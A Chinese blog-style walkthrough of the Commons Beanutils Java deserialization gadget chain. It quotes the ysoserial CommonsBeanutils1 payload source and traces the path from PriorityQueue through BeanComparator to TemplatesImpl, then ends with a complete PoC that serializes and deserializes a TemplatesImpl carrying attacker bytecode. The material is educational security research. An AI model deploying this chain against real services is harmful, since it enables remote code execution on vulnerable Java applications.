Commons Beanutils反序列化分析
Commons Beanutils
Javabean是什么不过多介绍了,自己看这篇文章
commons-beanutils提供了一种静态方法可以直接调用类getter方法
简单Demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import org.apache.commons.beanutils.PropertyUtils;
public class CbTest {
String name = "lululemon";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws Exception {
System.out.println(PropertyUtils.getProperty(new CbTest(), "name"));
}
}
|
分析
直接上ysoserial payload进行分析
ysoserial.payloads.CommonsBeanutils1.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
@Authors({ Authors.FROHOFF })
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
|
首先创建了一个TemplatesImpl实例,分析过Commons Collections链我们很熟悉这个类(具体看CC分析),然后创建了一个BeanComparator示例comparator并传入lowestSetBit,看一下构造方法,根据传入参数初始化property和comparator,没有传入comparator所以使用默认的ComparableComparator.getInstance(),也就是定义了一个新的ComparableComparator实例
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
|
继续向下,定义了一个优先队列queue并且传入上面定义好的comparator(PriorityQueue CC4见过,反序列化触发位置),并且添加了两个新的元素,值为BigInteger的1
再往下,反射设置comparator的property属性为outputProperties,并且反射拿到queue的queue存放到queueArray中,并传入我们定义好的TemplatesImpl实例
思路和CC4其实差不多,以PriorityQueue作为序列化触发位置,但是给的是BeanComparator实例,触发链前面同cc4:readObject() -> heapify() -> siftDown() -> siftDownUsingComparator(),最后触发BeanComparator.compare(),跟进看一下
对于传入的两个对象分别调用Propertyutils.getProperty()方法,前面讲了这个静态方法会触发传入类的getter方法,这边进行到这个函数时传入的o1, o2都为我们构造好的TemplatesImpl实例,并且此时this.property为我们传入的outputproperties,这样就会调用TemplatesImpl.getOutputProperties方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
|
跟进getOutputProperties方法,跟简单,执行了newInstance方法,这样就回到TemplatesImpl的利用逻辑上了
1
2
3
4
5
6
7
8
|
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
|
然后还有一个问题就是ysoserial通过反射去改的那两个属性都可以在初始化设置,还调用一次反射为什么,其实原因在分析CC链的时候也遇到过,避免初始化时本地命令执行多此一举
PoC
沿着这个思路写了一版poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CbTest {
public static void main(String[] args) throws Exception {
Path path = Paths.get(System.getProperty("user.dir") + "/target/classes", "Exp.class");
byte[] bytes = Files.readAllBytes(path);
TemplatesImpl templatesImpl = new TemplatesImpl();
Field bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field name = templatesImpl.getClass().getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "123");
Field tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, TransformerFactoryImpl.newTransformerFactoryNoServiceLoader());
BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Field comparatorProperty = comparator.getClass().getDeclaredField("property");
comparatorProperty.setAccessible(true);
comparatorProperty.set(comparator, "outputProperties");
// switch contents of queue
Field comparatorQueue = queue.getClass().getDeclaredField("queue");
comparatorQueue.setAccessible(true);
final Object[] queueArray = (Object[]) comparatorQueue.get(queue);
queueArray[0] = templatesImpl;
queueArray[1] = templatesImpl;
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.txt"));
oos.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));
ois.readObject();
}
}
|